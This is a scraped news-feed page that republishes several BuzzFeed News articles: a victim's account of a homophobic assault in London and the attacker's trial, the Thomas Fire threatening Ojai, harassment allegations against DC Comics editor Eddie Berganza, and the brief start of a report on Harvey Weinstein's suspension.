“He said, ‘Have we got a problem?’ I was closest to him, and was like, ‘No mate’ – trying to not engage or make eye contact. The cap was about head height from me and he hit me in the face with it. Then he starts shouting and pushing.”

The shouting was in Polish – Snios’s mother tongue – so Ver-Haest did not know what he was saying nor have time to consider what was about to happen.

“He kicked my right leg.” This was not an ordinary kick, he says, but one so precise and destructive that it seemed to him to be a learned, specialist technique with one purpose: to obliterate. It knocked Ver-Haest to the ground.

“I didn’t register the level of pain,” he says, “but he broke the leg straight away.” It fractured right through.

This was just the beginning. Snios kept kicking. He focused on one target: Ver-Haest’s lower right leg. He kicked and kicked, below the knee, across the shin, around the ankle, again and again and again, a frenzy of strikes, breaking and smashing each bone, one by one.


Google

Kamil Snios

In between, Snios grabbed their bag of shopping and threw it to the floor. At first, Ver-Haest had no idea what the motivation was.

“I didn’t really know what was happening apart from me being on the floor and thinking, ‘I need to get up and get away.’ But when I tried to get up I couldn’t understand why my leg was just buckling.”

A passerby – a middle-aged man – tried to intervene and help Ver-Haest and Adam, but gauging the ferocity of the attack, quickly left.

When Ver-Haest did manage to stand up on his left leg, Snios reacted quickly. “He came over and kicked that one out, so I’m on the floor again.” Ver-Haest tried again, but each time Snios would knock him back down.

As he was doing this, another man was shouting in Polish from the nearby first-floor balcony where the party noise had emanated.

“He was cheering him on, whooping like it was some kind of spectator sport, laughing every time he sees me get knocked over.”

A conversation ensued between Snios and his cheerleader – a type of call and response, again in Polish, but the overall meaning of which was clear to Ver-Haest. The other man was encouraging him, goading him, revelling in every blow.

“He was cheering him on, whooping like it was some kind of spectator sport”

“He was so excited and elated to be seeing what he was seeing,” he says, as if “this is the best entertainment ever”.

When Ver-Haest was on the ground, incapacitated, Snios turned on Adam.

“He got him on the floor once or twice – same move,” he says referring to the kick. But it did not land in the same way, failing to break Adam’s leg, leaving him able to stand up again.

“At some point Adam is able to come and help me,” says Ver-Haest. “I put my arm around his shoulder and tried to lightly put my foot on the ground and it’s so painful I pulled the two of us over. I tried to do it again. Snios comes over and kicks my leg again. I tried putting my arm around Adam’s shoulder two or three times but we just ended up on the floor, either because Snios kicked us down or I couldn’t take the pain.”

Ver-Haest tried reasoning with Snios, telling him his leg was broken, to stop, that they would go away. “I was trying not to appear like too much of a victim.”

He then climbed on Adam’s back hoping they could escape that way. “But my foot is loose, it’s bobbing around and that’s so painful I pull us down because I can’t take it. I can feel the bones moving in there; it’s completely loose.”

What Snios did not know was that from this point a local resident was filming the incident on a mobile phone.

Ver-Haest resorted to crawling; dragging himself along the ground by his hands, with Adam helping, pulling him – anything to try to escape round the corner. But then another element to the attack crept in.

“Snios comes up and because I’m in that [sitting] position his crotch is at my head height. He starts to unbuckle his trousers. I didn’t know what he’s saying because it’s in Polish but the tone has changed.”

Despite the language barrier, Ver-Haest sensed what Snios was saying. It was, he says, a threat of sexual violence but with the snarling suggestion that Ver-Haest would enjoy it, as if to say: This is what you want, isn’t it?

“Something stopped him,” says Ver-Haest – he did not undo his trousers any further. And seemingly exhausted after such a sustained attack, Snios took the cigarettes Ver-Haest had just bought, waved them over his head in a way that one of the officers later described as “like a trophy” and walked off, back towards the block of flats.

Ver-Haest and Adam managed to drag themselves around the corner. But still only 50 metres away, Ver-Haest was terrified Snios would come back for them.

Adam rang for an ambulance. A few minutes later, a passing police car stopped to help. They called for assistance – the culprit was dangerous and still just metres away. Another two police cars arrived soon after.

Armed with a description of both Snios and the man cheering from the balcony, four officers went into the building to make an arrest.

Meanwhile, Ver-Haest was being stretchered into an ambulance and driven to Homerton hospital. There an officer took his statement as doctors cut his trousers and put his leg into traction.


Laura Gallant / BuzzFeed

“They had two people extending my leg out to try to get all my bones in a relatively straight position and then the third person applied all the plaster of Paris,” he says.

X-rays revealed multiple, complete fractures in his tibia and fibula bones, which lead from the knee to the ankle: a displaced fracture to his distal tibia, a displaced fracture to the tibia shaft, and a displaced fracture to the proximal fibula. As well as the clean breaks there were splinters of bone unattached, with the ankle smashed into fragments. It would take major surgery to hold everything together.

But first, late that night, as Ver-Haest lay in his hospital bed, he received a phone call from a police officer that would confirm his suspicion: They were targeted for a reason.

“He said they’d caught the guy [Snios] and was shocked because he admitted very clearly what his motivation was. He said he had seen us walking down the street and thought we were a gay couple and was disgusted by it, and that’s why he did it. The police officer said he’d never heard anything like that in his 17 years.”

It wasn’t the homophobia itself that was new to the officer. It was, says Ver-Haest, the fact that he had never known anyone to believe so completely that they were in the right.

But it was a confession, not only to the violence but also to the motivation. There was now no doubt: This was a hate crime.

Two days later, Santiago, the guy Ver-Haest had met at the party, came to visit him in hospital. His presence would prove transformative over the coming days and weeks.

The surgery on Ver-Haest’s leg required a titanium nail to be inserted down the length of his tibia, with a succession of screws in his leg and ankle clamping fragments of bone together. Extensive physiotherapy would be necessary almost immediately.

But the nurses, he says, were late giving him painkillers before the first session.

“Half an hour later, the physio gives me this [walking] frame and I manage to get up slowly, support myself on the frame but it’s blindingly painful. I get about five feet away before I need to get back.” At the end of the session, knowing what the intensity of the pain was about to unleash, Ver-Haest asked the physio to close the curtain.

“I got as small as I could and wept for half an hour,” he says. “It was devastating.”

There was only one thing that helped him cope. “I thought about the guy I’d met at the party,” he says. “I thought about his face. That simple joy of meeting someone as lovely as he was, was the only refuge I could find at that point.”

Ver-Haest was in hospital – on seven types of medication – for five days before the next stage: recuperation. His surgeon said at the time that although the injuries could take a year to heal, ending any hope of moving to Spain in the near future, they would eventually do so. Ver-Haest had no idea how optimistic this prognosis would prove to be. And to begin with he had to grapple with the volume of practical obstacles lining up.

“I got as small as I could and wept for half an hour”

Having given up the lease on his flat to move to Madrid, Ver-Haest now had nowhere to live, and without the job in Spain or the ability to work due to his injury, no money. He took to staying with a succession of friends, a week here, two weeks there, sitting all day on their sofa, watching television with his leg elevated, trying to take care of himself.

Santiago would come to visit him wherever he was. “That’s been truly lovely,” says Ver-Haest. “He was totally there and had to sit and try to support me.”

But no one could be there all the time, when the daily struggles of having an unusable leg, surgical boot, and crutches became overwhelming. Ver-Haest had to relearn everything: how to wash, cook, shop, and eat.

“I could heat something in a microwave but can I get it to where I want to eat it? No. I have to eat standing on one leg or perched on the counter holding it in one hand.” On one occasion, after heating soup in a microwave he tried to carry it to the sofa, but dropped it, scalding himself. His crutches slipped on the spilt liquid, flooring him once again.

When he describes his attempts to seek help from the agencies designed to assist, it conjures the same image: crutches slipping.

An automated text arrived from Victim Support shortly after the attack informing him the agency would contact him properly within seven days. It did not. When Ver-Haest eventually got through he was offered phone counselling. But he was in a supermarket when the counsellor rang. “I said, can you please call back in five minutes? They said, ‘No. How about I call you next Thursday?’” That was nine days later.

They did not call him the following Thursday, he says, but five days after that – two weeks later. He lodged a formal complaint and received an apology but for Ver-Haest it was too late. Meanwhile, Galop, the organisation for victims of homophobic hate crime, was understanding and supportive, he says, but was only able to signpost him to other services. One of which was housing and employment benefits.

“They [the government] have said they’re going to pay me ESA [employment and support allowance], which is £73 per week,” he says, “but I haven’t had anything yet. I don’t know what they expected me to do for these first two months of having no money coming in.” Without a credit card, he says, he would be destitute. His debt began to rise; he set up a GoFundMe page.

And with no housing benefit, no savings for a deposit on a rented flat, compensation for such injuries taking months to arrive, and a social housing shortage, there was only one option, a housing charity suggested to Ver-Haest: Go to a homeless shelter.

At this point, a couple he had only met four times stepped in. They offered him their spare room for free.

“It’s really touching,” he says, his voice cutting out for the first time. “They’re a straight couple. They came to see me one time and brought me flowers, chocolates, took me out to lunch, and then offered me this room. I was bowled over.”

A couple of months later, Ver-Haest’s brother took over, letting him live in a flat he owned but had been renting out, encouraging Ver-Haest, where possible, to make improvements to the place – a project to rebuild his strength. It renewed their relationship.

Psychologically, the ripples from the attack have been complex. When we first meet, Ver-Haest is focusing on the practical, being matter-of-fact and coping well. But a few weeks before the trial, he was diagnosed with post-traumatic stress disorder – PTSD.


BuzzFeed News

“I was having panic attacks,” he says in December. “Anxiety. Hyper-vigilance. Flashbacks.” He says he would start to panic in public, as if the world he once perceived as benign or at least indifferent was now a potentially constant threat. Waiting in tube stations, he would become terrified that someone would push him in front of the train.

“I am altered by this,” he says. “I have a lot of work to do to get things back.”

He has begun receiving therapy, alongside regular physiotherapy. But some of the damage is less tangible, and deeper, cutting to the heart of what a hate crime does.

“Before this happened I didn’t live in fear that I would be attacked for my sexuality,” he says. “I felt like I didn’t have to define myself through my sexuality. But now I have to think about it. I have to think about how this affects everyone. It’s not just gay people who might be attacked – my friend wasn’t gay and he was attacked.”

He thinks many in the wider public who haven’t experienced such a crime will share his previous ignorance of the consequences. This need for a wider understanding, he says, is what has moved him to speak out.

“It has devastated this period in my life,” he says. “I’m living this every day. It affects everything I do. I’m 100% reliant on other people. I can’t work at the moment and everything I think about doing in the future is affected by this.”

“I’m living this every day. It affects everything I do”

He pauses for a moment, and returns to Snios and the forthcoming court case. “He needs to pay for it.”

But it isn’t only about Snios. There was also the man on the balcony, who has never been found. Ver-Haest is confused and frustrated that the police did not find and arrest him alongside Snios when they went into the flat. But the reasons for this and for the attack itself soon become clear.

On 18 December, Snios’s trial began at Wood Green crown court. At an initial hearing in August, he had pleaded guilty to the lesser charge of grievous bodily harm (GBH) but not guilty to the much graver one of GBH with intent: a crime that denotes the perpetrator not only inflicted considerable injury but meant to do so.


BuzzFeed News

Wood Green Crown Court

GBH with intent is considerably harder to prove and carries a much higher sentence of up to 16 years in jail. For Ver-Haest, ensuring Snios was found guilty of intent and locked up for as long as possible, to prevent further attacks, was crucial.

In the courtroom, Snios was led into the dock in a grey sweatshirt and jeans. Ver-Haest stood behind a curtain to give evidence – visible to the jury but not to Snios, who sat impassive throughout, staring straight ahead, his chin tilted upwards.

Ver-Haest recounted everything that happened on 16 July: the slapping, the kicking, the jeering from the balcony:

“He’s kicking me everywhere…there was so much pain…I hit the floor again and the pain is so much worse; blinding like a flash of light.”

The video footage was shown to the court. It begins near the end of the attack. Ver-Haest is on the ground, trying in vain to get up, with Snios standing over him, with laughing bellowing over the scene from the balcony.

But it is only when Detective Constable Mark Nicholls, the officer in charge of the case, takes to the stand that what lies beneath it all is revealed.

Nicholls and the prosecution barrier read the transcript of the police interview the day Snios was arrested. It was translated from Polish.

The interview began with Snios saying he had been drinking since 6pm the previous day, and had also smoked cannabis. He confirmed that he had moved to London from Poland three years ago and works in removals.

That morning, he said: “I came across two boys who were showing me strange things…motions and movements that are typical of ladies.” The men, Adam and Ver-Haest, were “behaving like poofs”.

He continued trying to describe what he saw in the men and adds, “Let’s just call them by their names. They’re poofs…they offended me.” Nicholls asked him how they offended him.

Snios mentioned a “kiss and a hand gesture”, adding, “This is inhuman.”

Being a homosexual man is, asked DC Nicholls, inhuman?

“Yes.”

Where does this hatred come from?

“It’s not hatred,” Snios replied. Instead, he said, “It’s a deliberate provocation.”

So any form of homosexual act is inhuman and unacceptable?

“Yes.”

Did they kiss in front of you?

“No,” said Snios, adding that it’s “not normal for guys to kiss where children are around” and “I don’t have anything against them but I don’t want them showing it off.” He was, he said, “provoked”.

Snios refused to believe that Ver-Haest’s leg had been broken, denied that anyone had been shouting or cheering from the balcony, and refused to give up the names of the men who had been in the flat.

Without his cooperation and with several people there, the police were unable to find the man on the balcony.

When Snios took to the witness stand the following day, speaking through an interpreter throughout, he made an extraordinary case, using a line of defence now notorious in legal and LGBT circles: the gay panic defence.

In the 1990s and early 2000s in the United States in particular, some people accused of murdering gay men claimed they did it because the victim made a pass at them and they panicked, attacking reflexively. It worked on some occasions, leading to acquittals, which sparked widespread outrage.

In English law, this is not a valid defence. But in court, Snios claimed – having not mentioned it in the police interview – that that morning when he saw Adam and Ver-Haest they were waving and gesturing to Snios and one of them “bent over and smacked his bottom”. They were, said Snios, “trying to propose something” and that he went over to try to find out what, when a fight ensued.

The comments he made during the police interview about gay men being inhuman were, he said in court, a “misunderstanding”. Asked about the fact that he cried towards the end of his police interview, Snios replied: “I feel sorry for my children because they are hurting the most.”

His tears were not for Ver-Haest.

No one mentioned in court that Adam is straight, and that as such it would make the chances of him and Ver-Haest propositioning Snios zero. Snios’s barrister did, however, argue that her client could not be homophobic because he has twice been to gay pride.

At the end of the three-day trial the prosecution read out a statement from Ver-Haest. It described the impact the attack has had: the movements he can no longer make, the pain that still rages and keeps him awake, the medications he still has to take, the jobs he cannot accept, the fear and vulnerability he feels in public every day. Only then did Snios look ashamed.

After three and a half hours of deliberation the jury returned on Tuesday this week with a unanimous verdict: guilty.

Sentencing Snios on Wednesday morning, the trial judge, Gregory Perrins, told him: “You believed they were homosexual and attacked them for that reason. This was a crime of hate.”

“You believed they were homosexual and attacked them for that reason. This was a crime of hate”

He added that he rejected the suggestion from the defence barrister that Snios did not have a problem with gay people, reminding the defendant that he told police he considered their perceived sexuality “inhuman”. Such views are “repugnant and vile”, he said, and “have no place in a modern, tolerant society”.

The judge concluded Snios “showed no remorse” and sentenced him to 10 years in prison.

Afterwards, Ver-Haest tells BuzzFeed News how relieved he was, how much it meant to secure a sentence of this length. He then texts his reaction in full:

“It’s hard to take in… Both of us will live with the results of his hatred and cruelty for the rest of our lives. I don’t hold out much hope for his improvement whilst serving his sentence but at least he’ll have time to consider his actions.”

Ver-Haest begins updating BuzzFeed News on his medical situation. His consultant has changed the prognosis for his leg. “It will never be the same again,” says Ver-Haest. The movement in his ankle in particular will not return to how it was before. And, said the doctor, in 20 years the cartilage surrounding what was operated on will degrade leaving him with osteoarthritis.

“The trauma wasn’t really what happened,” he says. “The trauma is what I face every day – the aftermath.”


Laura Gallant / BuzzFeed

He is still on ÂŁ73 per week. He still has flashbacks. And with slow progress and considerable amounts of psychotherapy and physiotherapy, it will be at least another six months before he can contemplate going to Madrid.

But the people in his life have been wonderful, he says, showing love “from corners I didn’t expect”. His recovery, overall, is a “work in progress”, he says. “My sense of the world and my place in it is different but I can see the light at the end of the tunnel now.”

There is something else, he says.

The night Ver-Haest gave evidence he met up with Santiago. He wanted to thank him for the support he had showed when he needed it most – support that kept him going in the darkest moments. Ver-Haest pauses for a second, a flash that conjures an antidote to all he that has endured: “He’s still there.”

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-affects-everything-i-do/feed/ 0 “It Sounds Crazy, But You Think You Can Beat It” https://briefnews.eu/it-sounds-crazy-but-you-think-you-can-beat-it/ https://briefnews.eu/it-sounds-crazy-but-you-think-you-can-beat-it/#respond Sat, 09 Dec 2017 10:06:30 +0000 http://briefnews.eu/it-sounds-crazy-but-you-think-you-can-beat-it/

They stood murmuring, cell phones out, standing in clusters along the dusty road and watching through the smoke-choked evening air as dark orange flames waved in the wind, the glow of fire surrounding them on either side.

About 12 hours after officials said it was a “miracle” that the small, artsy, pastoral town of Ojai barely survived an attack by a wildfire swallowing mountains and valleys surrounding it, residents chatted nervously. Sitting on the hoods of pickup trucks, some in face masks, they recorded the fire again as it teetered toward their town.

“This is the third time it’s come for us,” said 48-year-old Sean Salisbury, a wiry ironworker with eyes watery and bloodshot from the acrid smoke. “It’s an evil beast. It has a mind of its own.”

Fueled by erratic, gusty winds, the Thomas Fire hasn’t stopped lunging for Ojai since it began Monday. Residents described a nightmare late Wednesday night when flames raced just four miles outside the city. Each morning, though, its residents wake up to a town still standing.

Nestled in a valley up in the mountains of Ventura County, Ojai is prime bait for an unruly wildfire. There are only two main, single-lane roadways leading out, portions of which are already closed. If flames suddenly engulfed the town, as it nearly had and has been predicted to do, and further cut off roads, people would be stuck. Many of Its 7,000 residents also live in neighborhoods encased by dry brush, dusty trails, and parched woods, or own ranches and orchards — perfect fire fuel.

“Ojai is still the front line,” Ventura County Fire Capt. Stan Ziegler said early Friday.

President Trump has declared an emergency in California as wildfires continue to burn tens of thousands of acres across the state and destroy hundreds of homes.

But for five days, Ojai, the community known for its art galleries, spas, and spiritual retreats, has been at the crux of the Thomas Fire, which has burned about 132,000 acres and is far from contained. On Monday, “a fork of flames” funneled over the mountains and through pastures, encircling the town as up to 80 mph winds drove the blaze to people’s doorsteps, horse stables, and lawns filled with children’s toys and trampolines.

“The fire is coming at it from two directions,” said Scott Quirarte, a captain and public information officer with the Ventura County Fire Department. “The way the valley sits, some portions are protected from the winds and others are not. The thing is, the wind keeps changing. It’s extremely rare we have had such high winds for such a long period of time.”

Thanks, though, to a lucky change in winds and sheer willpower, hundreds of firefighters have been able to stave off flames from consuming the center.

Throughout the night and into the early hours Friday morning, flashing trucks remained parked along winding roads and outside vulnerable homes. Bulldozers and crews with hand tools cleared out debris while aircrafts circled overhead, pouring water into the belly of the fire.

“Spot fires keep jumping out ahead of us. We have embers going 50 to 60 miles per hour. That’s like a car down a freeway,” Ventura County Fire Capt. Robert Welsbie said Thursday night, his eyes never leaving the ranch where, at any moment, he expected the blaze to come crawling down a ranch’s driveway. “Ojai is right in the middle of these wind shifts. It’s like a war zone.”

Although many people heeded mandatory evacuation orders, hundreds stayed, refusing to leave behind their livelihoods. In a standstill, with nearly all the town’s businesses shut and streetlights dark, Ojai residents gathered on street corners to swap stories of how they narrowly beat back the beast.

“It was nothing like I’ve seen. I left and turned around and came back,” said Salisbury, crossing his arms and nodding toward his trailer home where he’s lived for nearly 20 years. “I was in the Navy. It’s my house. I had to fight for it.”

Linda Lemay helped pack up and evacuate her three grandchildren, but said she chose to stay in the home where their photos lined the walls.

“Like a freight train barreling toward you,” Frank Werberger said of the flames while sitting on his ATV next to several fire trucks.

The 52-year-old says he hasn’t slept and has been wearing the same white T-shirt since he took his two kids and mother down the hill “before it got really bad.”

Brushing ash off his shoulder, Brett Law, 46, said he had hunkered down in his wooden ranch house, protecting his chickens as flames stopped an eighth of a mile from their pen.

“It sounds crazy, but you think you can beat it. We’ve all been through fires before,” Law said. “You just don’t want to lose everything. I live by myself. It’s all I have.”

On Friday morning, Ojai emerged breathing another sigh of relief. For the second night in a row, the vicious winds forecasted to drive the fire from its perch did not reach their full potential. Weary but smiling, people ordered lattes at Coffee Connections. Nearby, a man walked his dog past the hardware store.

Meanwhile, down near the ocean at their base camp at Ventura County Fairgrounds, fire officials discussed how the blaze had burned the northern edge of the valley and warned of another extraordinary wind pattern. The red flag weather warning, which has been continuously extended all week, is now expected to last through Sunday.

Ojai residents, however, remain undeterred.

“It’s been a bit of a bitch,” Salisbury said. “But it’s nothing we can’t handle.”

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-sounds-crazy-but-you-think-you-can-beat-it/feed/ 0 “It Was A Disgusting Boys' Club” https://briefnews.eu/it-was-a-disgusting-boys-club/ https://briefnews.eu/it-was-a-disgusting-boys-club/#respond Thu, 23 Nov 2017 00:11:40 +0000 http://briefnews.eu/it-was-a-disgusting-boys-club/


Alisande Morales / YouTube / Via youtube.com

Eddie Berganza

More women have come forward to say that a onetime executive editor at DC Comics sexually harassed them, including two who say he inappropriately touched them even after several employees at the publishing giant had complained to company top brass about his behavior.

The new accusations against Eddie Berganza, 53, follow a BuzzFeed News story that detailed how the company failed to discipline him, and even promoted him to executive editor, after a 2010 complaint to human resources. Berganza eventually was demoted in 2012 following allegations that he had forcibly kissed a woman at a comic convention that year. DC Comics, a subsidiary of Warner Bros., fired him on Nov. 13 after the BuzzFeed News story appeared.

But now five more women have told BuzzFeed News about their own experiences with Berganza. One says he forcibly kissed her, something he’d previously been accused of doing to a different woman in the 2010 complaint, and to the other one in 2012. Others now coming forward allege inappropriate touching, and one says Berganza told her she was “too pretty” to be interesting. If DC Comics had acted earlier to rein Berganza in, the women say, they might have been spared harassment and felt more comfortable pursuing careers at major comic publishers.


Michael Bezjian / WireImage

Molly McIsaac

They include Molly McIsaac, who told BuzzFeed News that, in 2011, Berganza insinuated that if she slept with him he could get her a job. “It made me so uncomfortable that it was implied that I had to sleep with someone to get a job, that I would legit never write for DC unless I had sex with Eddie,” McIsaac said. “It was very obvious.”

The first time McIsaac says she can recall Berganza overstepping boundaries was when he started rubbing her feet in his lap in the lobby of a hotel at the San Diego Comic-Con in July 2011.

McIsaac was 22 at the time and had been working for a couple of years at comic conventions, taking photographs and reporting on them for industry websites. While chatting with Berganza in the hotel lobby, she said, she commented that her feet hurt from being on them all day. Berganza, then the executive editor of DC Comics, insisted over McIsaac’s protests that he massage them and took off her shoes and put her feet in his lap, she said. As he rubbed them, she said, he peppered her with comments complimenting her legs and buttocks. Later that evening, as convention-goers got drinks at the hotel bar, McIsaac said that Berganza kept touching her hip and butt and saying he could get her a job at DC.

“And I got so excited,” McIsaac told BuzzFeed News. Then, she said, Berganza invited her to his hotel room to discuss it further over whiskey. She declined, but wrote Berganza afterward about possibly writing for DC, in an email reviewed by BuzzFeed News. Berganza responded two months later and said he could not bring on any new talent at the moment, but hoped to “remedy that.” A year later, McIsaac said, she saw Berganza again at the same hotel, and he came up and rubbed his groin against her butt.

By then, people had complained about Berganza’s behavior for years, including to DC Comics managers. A complaint in 2010 to DC Comics’ human resources department included allegations of forcible kissing and attempted groping. But Berganza continued to thrive at DC, and at the time of his firing, he was overseeing Dark Nights: Metal, one of DC’s best-selling comics.


Eddie Berganza / Facebook / Via facebook.com

Berganza in a 2015 Facebook post.

None of the five women who’ve talked to BuzzFeed News since Berganza’s firing took part in the 2010 complaint or ever told DC about their experiences. All said they feared repercussions if they complained about Berganza, a powerful and lauded man in the comics world.

In the aftermath of Berganza’s firing, people have begun taking stock of why DC kept him on for so long. Several from inside the company have said on social media that their superiors dropped the ball. Yet these new stories illustrate a culture, both inside DC and throughout the industry, where women were afraid of the consequences of coming forward and tried to bury their anger and move on.

“There are many good people I know there, but something is wrong with the corporate culture,” said Amy Chu, a freelance comic writer who has written for DC and who said she tried to avoid working with Berganza. “An organizational culture has developed that makes it really hard to do the right thing.”

“Both from the fan side and the creator side, it was a disgusting boys’ club.”

It’s not a culture limited to DC Comics, said McIsaac, who says that, as a journalist covering the comics industry, she has dealt with sexist comments and threats of rape and death from readers, including some who have confronted her in person at conventions.

“Both from the fan side and the creator side, it was a disgusting boys’ club,” McIsaac said.

DC Comics says it has taken every allegation against Berganza it was aware of seriously and investigated them, and it has been reviewing and refining its policies for dealing with sexual harassment. Starting about a year and a half ago, the company facilitated focus groups with employees to discuss sexual harassment problems, expanded employee training, and held a town hall so staff could ask top executives about the issue. The company has also given employees an avenue for providing anonymous tips and feedback and created an Employee Culture Committee to address harassment issues.

Berganza did not respond to a request for comment.

Multiple women told BuzzFeed News that they were warned to stay away from Berganza, but that meant avoiding the man who could make their careers in the comics world, which operates in a lot of informal settings. Getting drinks after work or at the end of the day at a comic convention is typical, and it’s these out-of-office meetups where writers often cement bonds that lead to the best assignments.

And according to one former DC employee, Berganza was “the guy everyone wanted to hang out with. All the dudes worshipped him, especially if you were a comic book nerd. Even among the dudes I knew who were nice, sweet, upstanding guys, he was the nerd king.”

He concluded the message with: “Big kiss. Hope you’re warm. Had a naughty dream about you. Tee hee.”

“If you wanted to climb the ladder, you had to socialize, drink, and network, even after you were in the door,” said another former DC employee. “The people that [tended] to become friendly with the people making decisions,” and Berganza, this employee said, “[were] friendly, funny, and very, very social.”

One woman who was hired on the business side of DC Comics in 2006 recalled that one evening, after drinking with other DC staffers at McGee’s, a bar in New York City, several employees, including Berganza, came back to her place. Once at her apartment, Berganza kept touching the woman’s arms and legs, she said, even though she was 22 and Berganza was a “forty-something married dad.” After that night, Berganza would lurk around her office “in a really uncomfortable way” on a near-daily basis, she said. Her boss asked her if anything was wrong when she started keeping her office door shut, she said, but she was “too terrified and embarrassed” to say anything. She didn’t want to cause any problems.

Jami Bernard was leaving her gig as film critic at the New York Daily News in the mid-2000s and considering getting into writing comics. Already the author of 10 books, Bernard had ideas for graphic novels and started talking to Berganza about writing a multi-issue Lois Lane story. But Berganza began to make some unusual comments to Bernard. In one email Berganza wrote her, providing feedback on a proposal for a script, he concluded the message with: “Big kiss. Hope you’re warm. Had a naughty dream about you. Tee hee.”

Having lived through workplace sexism when she was a young reporter in the ’80s, which she wanted to use as inspiration for her Lois Lane storyline, Bernard tried to brush it off. She also didn’t want to call him out, Bernard told BuzzFeed News, because she thought “if I embarrass him or humiliate him he’s not going to champion my work.”

“I would sit there and let his voicemail play, and I’d think, I just can’t deal with him.”

Bernard got a five-page Lois Lane story published in January 2006, and did work as a script doctor for some Superman comics. She kept meeting with Berganza about the Lois Lane series, which he said was a sure bet. But twice during those meetings, Bernard said, Berganza forcibly kissed her — once during dinner at a restaurant in March 2006, and again that May when they walked outside one afternoon. She described both incidents as aggressive and abrupt — not sexual or flirtatious. With nothing officially booked on the Lois Lane front, Bernard stopped returning Berganza’s calls.

“I would sit there and let his voicemail play, and I’d think, I just can’t deal with him,” Bernard told BuzzFeed News. “Eventually he stopped calling.”

Two friends of Bernard’s told BuzzFeed News that they recalled her meeting with Berganza several times in preparation for a proposed Lois Lane series. One remembers Bernard describing Berganza forcibly kissing her in 2006. The other, a cartoonist, said he wasn’t surprised to hear that Berganza had remained at DC despite repeated allegations of misconduct, because of men who would rather protect their own than admit there was a problem.

Bernard now runs her own business as a media consultant, but “for years,” she said, “I felt bad about myself — why didn’t I pursue that opportunity? Why did I walk away? What did I do that turned him on so much?” It was only after reading the BuzzFeed News account of other women sharing similar experiences with Berganza that Bernard realized his behavior was not her fault.

“I had hoped that writing Lois Lane comics would be a possible entry to a new career,” Bernard said. “But Eddie Berganza was the sole gatekeeper to that path, and I could not bring myself to work with him.”

One woman said she met Berganza in 2014 at New York Comic Con. She was trying to break into the industry then, and a friend who worked at DC at the time offered to introduce her to editors around the convention. When she was introduced to Berganza, she said, she asked if she could send him her resume, and he said yes.

He said, “You’re far too pretty to be this interesting.”

“He didn’t do anything handsy or anything like that,” she said. “But he made a comment that forever stuck with me — forever pissed me off. He said, ‘You’re far too pretty to be this interesting.’” Today, this woman works at a different comics publisher.

McIsaac said Berganza made “gross and weird comments” about her as well, such as that “it makes sense you would have nice legs with an ass like that.” She described them as “the sort of things women laugh off in the moment but remember later and are like, ‘Why did I tolerate that?’”

Long before BuzzFeed News reported on Berganza’s alleged misconduct, an online search of his name quickly brought up blog and social media posts tying him to sexual harassment. Author Marjorie Liu tweeted recently that she “explicitly told DC editorial that I wouldn’t write for them because of Berganza.” The company would try to reassure her that she wouldn’t have “to deal with him directly,” she added on Twitter. (She declined an interview request.)


Courtesy of Amy Chu

In mid-2015, Amy Chu was assigned to write a story for Poison Ivy, the Batman villain known for killing her enemies with a toxic kiss and controlling men with a scent. Chu signed on expecting Mark Doyle, the editor in charge of Batman comics who she respected greatly, to oversee the project. She was upset to learn that Berganza was assigned to be her editor. It was her first book at DC Comics, so Chu didn’t think she had the clout to object to Berganza.

“I never felt like I was in a position where I could say anything to anybody,” Chu told BuzzFeed News.

A year earlier, Chu said, she had not aggressively pursued an opportunity to write for Wonder Woman because it would’ve involved working under Berganza.

With the Poison Ivy story, Chu found a way to convey her anger about Berganza. She altered a character who gets killed by Ivy, Winston, from being a hapless nerd to a workplace creep. “It was very easy to channel my frustrations into the script,” Chu said.

As infamous as Berganza’s reputation may have been, it was unknown to a young artist named Maya Nord, who started going to Canadian comic conventions several years ago with dreams of working for DC Comics. At one of these conventions in 2011, she first met Berganza and gave him a sketch she’d done of the character Harley Quinn. He complimented her work and suggested they follow up over email — it was all strictly professional, Nord said. She gave Berganza her email address, but never heard from him.


Courtesy of Maya Nord

One of the female characters sent to Berganza that he criticized as “a little thick”.

Nord saw Berganza again at a New Year’s Eve party ringing in 2012 in Toronto. The party was thrown by someone in the Toronto comics community and well attended by others in the industry, including Berganza and people who worked with him, Nord said.

She recalled Berganza showing up after midnight with a date, who eventually passed out. Nord said that as she checked on his date and tried to get her to drink water, Berganza began “getting handsy,” including massaging Nord’s neck and at one point pulling her into his lap.

“This is 2012 and everybody knows about Eddie except for me,” she said. “I felt gross about it afterward.” Part of the reason Nord didn’t forcibly stop Berganza was because he might have a say in getting her hired to work for DC, she said. But afterward, she was also horribly embarrassed — if she ended up working for Berganza, she worried, people at the party would think it was only “because I allowed him to grope me.” She feared that would spread throughout the comics industry, tarnishing her name as she tried to make one for herself.

Nord emailed Berganza after the party anyway, holding on to her dream of becoming a DC artist. It worked. He sent her a test script and asked her to send samples of her work. She replied with 12 images of female characters she’d drawn. Many of the characters were more muscular and curvy than stereotypical comic book heroines, but in a way that Nord felt reflected their super strength. In response, Berganza sent back a criticism: “Some of the ladies are a little thick.”

After that, Nord said, she didn’t want to work for DC anymore.

Advertisement
Advertisement
Advertisement
Advertisement

Tyler Kingkade is a national reporter for BuzzFeed News and is based in New York City.

Contact Tyler Kingkade at tyler.kingkade@buzzfeed.com.

Jessica Testa is a national reporter for BuzzFeed News and is based in New York.

Contact Jessica Testa at jessica.testa@buzzfeed.com.

Jay Edidin is a reasonably professional writer, editor, and podcaster; an occasional performer; a fledgling New Yorker; and marginally Internet Famous as half of the podcast Jay and Miles X-Plain the X-Men. Contact Jay Edidin at jay.edidin@gmail.com

Contact Jay Edidin at .

Got a confidential tip? Submit it here.

Promoted by

Let’s block ads! (Why?)

BuzzFeed – Latest

]]> https://briefnews.eu/it-was-a-disgusting-boys-club/feed/ 0 “It Is Important For Him To Get Professional Help” https://briefnews.eu/it-is-important-for-him-to-get-professional-help/ https://briefnews.eu/it-is-important-for-him-to-get-professional-help/#respond Sat, 07 Oct 2017 02:10:14 +0000 http://briefnews.eu/it-is-important-for-him-to-get-professional-help/

Hours after a report in Variety said that Harvey Weinstein would be suspended from the Weinstein Company, the company’s board has officially announced his leave on Friday. The move comes in the wake of the New York Times’ blockbuster story on Thursday alleging decades of sexual harassment on the film executive’s part.

